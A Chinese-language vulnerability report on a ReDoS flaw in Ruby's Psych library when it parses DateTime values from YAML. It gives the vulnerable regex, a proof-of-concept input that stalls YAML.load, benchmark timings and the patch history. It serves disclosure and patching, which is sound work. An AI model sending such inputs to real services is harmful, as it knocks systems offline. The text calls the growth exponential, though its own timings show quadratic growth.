本文详细分析了Ruby Psych库中存在的正则表达式拒绝服务(ReDoS)漏洞,提供了漏洞复现步骤、基准测试数据以及Ruby 3.3.0版本中的回归问题,最终在master分支获得修复。
Ruby Psych库中的ReDoS漏洞报告
漏洞描述
在Ruby Psych库中发现了一个正则表达式拒绝服务(ReDoS)漏洞,该漏洞存在于Psych.load
方法处理DateTime反序列化时。攻击者可通过构造特定格式的YAML字符串导致正则表达式匹配时间呈指数级增长。
技术细节
漏洞位于以下两个文件中:
lib/psych/scalar_scanner.rb#L113
lib/psych/visitors/to_ruby.rb#L83
问题正则表达式为:
1
|
/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/
|
漏洞复现(PoC)
1
2
3
4
5
6
7
8
|
require 'yaml'
require 'date'
# 正常情况
YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
# 触发ReDoS
YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
|
性能基准测试
测试结果显示处理时间随输入长度呈指数增长:
1
2
3
4
5
|
user system total real
0.000215 0.000212 0.000427 ( 0.000422) # 100字符
0.002306 0.000005 0.002311 ( 0.002314) # 1000字符
0.219717 0.000125 0.219842 ( 0.219844) # 10000字符
21.904961 0.041427 21.946388 ( 21.946604) # 100000字符
|
影响范围
- 漏洞影响允许DateTime反序列化的场景
- 影响有限,因为攻击字符串永远不会匹配TIME值
修复情况
- Ruby 3.2.0中已修复
- Ruby 3.3.0出现回归问题
- 最终在master分支修复
后续讨论
开发者询问是否需要对Ruby 3.1及以下版本进行修复,但考虑到Ruby 3.1已EOL(生命周期结束),最终决定不再发布修复版本。